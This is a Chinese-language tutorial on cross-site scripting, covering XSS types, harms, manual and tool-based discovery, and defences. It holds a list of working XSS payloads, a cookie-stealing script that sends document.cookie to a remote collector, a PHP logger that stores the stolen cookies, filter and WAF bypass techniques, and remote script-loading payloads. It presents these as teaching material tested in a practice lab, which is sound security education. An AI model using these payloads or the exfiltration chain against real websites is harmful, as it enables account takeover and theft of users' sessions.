1. 程式人生 > 其它 >跨站指令碼攻擊xss

跨站指令碼攻擊xss

  XSS全稱(Cross Site Scripting)跨站指令碼攻擊,是最常見的Web應用程式安全漏洞之一,位於OWASP top 10 2013/2017年度分別為第三名和第七名,XSS是指攻擊者在網頁中嵌入客戶端指令碼,通常是JavaScript編寫的危險程式碼,當用戶使用瀏覽器瀏覽網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的。

XSS分為三類:

  反射型XSS:簡單的把使用者輸入的資料反射給瀏覽器,它一次性的和被動的。只有使用者點選了攻擊者的XSS攻擊連線才會觸發。

<?php
$name = $_GET['name'];
echo "Welcome $name<br>
"; ?>

  儲存型XSS:攻擊者的XSS程式碼會被存在在資料庫裡面,永久性儲存,具有很強的穩定性。也是XSS中危害最大的。常見於頁面資料交匯處。如:評論,修改使用者資訊,登入,留言板,搜尋等地方。攻擊者將指令碼程式碼嵌入留言區等,提交到伺服器,其他使用者登入時也會執行該指令碼程式碼。

  DOM型XSS:不與後臺伺服器產生資料互動,通過更改前端的dom節點形成的XSS漏洞。

XSS攻擊的危害:

  • 盜取使用者cookie;

  • 盜取各類使用者帳號,如機器登入帳號、使用者網銀帳號、各類管理員帳號;

  • 控制企業資料,包括讀取、篡改、新增、刪除企業敏感資料的能力;

  • 盜竊企業重要的具有商業價值的資料;

  • 強制傳送電子郵件;

  • 網站掛馬

如何查詢XSS:

  手工查詢:只要有輸入且有對指令碼輸出解析的地方(登入註冊修改更新留言等等),都可以嘗試XSS(如:HTML標籤、URL欄、Style地、Script地、referer頭、cookies、post引數、頁面帶引數的地方等等),也可以藉助半自動工具輔助(Burpsuite、firefox(hackbar)、XSSER、 XSSF等)。

http://xx.xx.xx.xx/xxx.php?id=引數'"><script>alert(12)</script>

  工具查詢:APPscan、AWVS、Burpsuite 等

一些經典xss語句:(僅供學習使用,請勿進行非法攻擊)

<h5>1</h5>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>
<script>alert('xss');</script>
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
pt>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<s&#99;ript>alert('XSS')</script>
<img src="javas&#99;ript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

XSS盜取cookie原理:

首先編寫 js程式碼獲取使用者cookie值

var img = document.createElement('img');  // 建立一個圖片標籤
img.width = 0;    //設定圖片的寬為0
img.height = 0;   //設定圖片的高為0

 img.src = 'http://ip/xss.php?Cookie='+encodeURIComponent(document.cookie);// 設定圖片的src屬性,該src能將使用者的cookie值傳送到這個連線的伺服器

編寫伺服器後臺程式碼

<?php
    @ini_set('display_errors',1);    // 直接在瀏覽器中輸出錯誤資訊
    $str = $_GET['Cookie'];         // 獲取使用者cookie
    $filePath = "Cookie.php";      // 將使用者的cookie儲存
    $handler = fopen($filePath, "a");
    fwrite($handler, $str);
fclose($handler);
?>

構造 XSS payload

<script src="http://192.168.64.134/xss.js"></script>

<script src="//192.168.64.134/xss.js "></script>

以pikachu靶場做實驗,效果如下。

插入payload,然後提交

後臺伺服器效果如下

XSS繞過技巧:

  • 對前端的限制可以嘗試進行抓包重發或者修改前端的HTML。
  • 防止後臺對輸入的內容進行正則匹配來過濾輸入,對於這樣的過濾可以考慮大小寫混合輸入的方法。例:<sCRipT>alert('xss')</sCrIPt>
  • 防止後臺對輸入的內容進行替換,採用拼拼湊的輸入方法。例:<sc<script>ript>alert('xss')</scr<script>ipt>
  • 使用註釋來干擾後臺對輸入內容的識別。例:<sc<!--test-->ript>alert('xss')</scr<!--tshauie-->ipt>
  • 編碼思路:後臺有可能會對程式碼中的關鍵字進行過濾,但我們可以嘗試將關鍵字進行編碼後在插入,瀏覽器對改編碼進行識別時,會翻譯成正常的程式碼。(注意:編碼在輸出時是否會被正常識別和翻譯才是關鍵,不是所有的編碼都是可以的)
  • 轉換標籤:script 標籤不行,可以替換其他標籤(如:img、onclick)。例如:<img src=a onerror=alert(1)>

XSS常規waf繞過技巧:

  • 標籤語法替換
  • 特殊符號干擾
  • 提交方式更改
  • 垃圾資料溢位
  • 加密解密演算法
  • 結合其他漏洞繞過

XSS防禦:

XSS防禦的總體思路是:對輸入進行過濾,對輸出進行編碼

過濾:根據業務需求進行過濾,比如輸出點要求輸入手機號,則只允許輸入手機號格式的數字。

轉義:所有輸出到前端的資料都根據輸出點進行轉義,比如輸出到html中進行html實體轉義,輸入到JS裡面的進行JS轉義(\)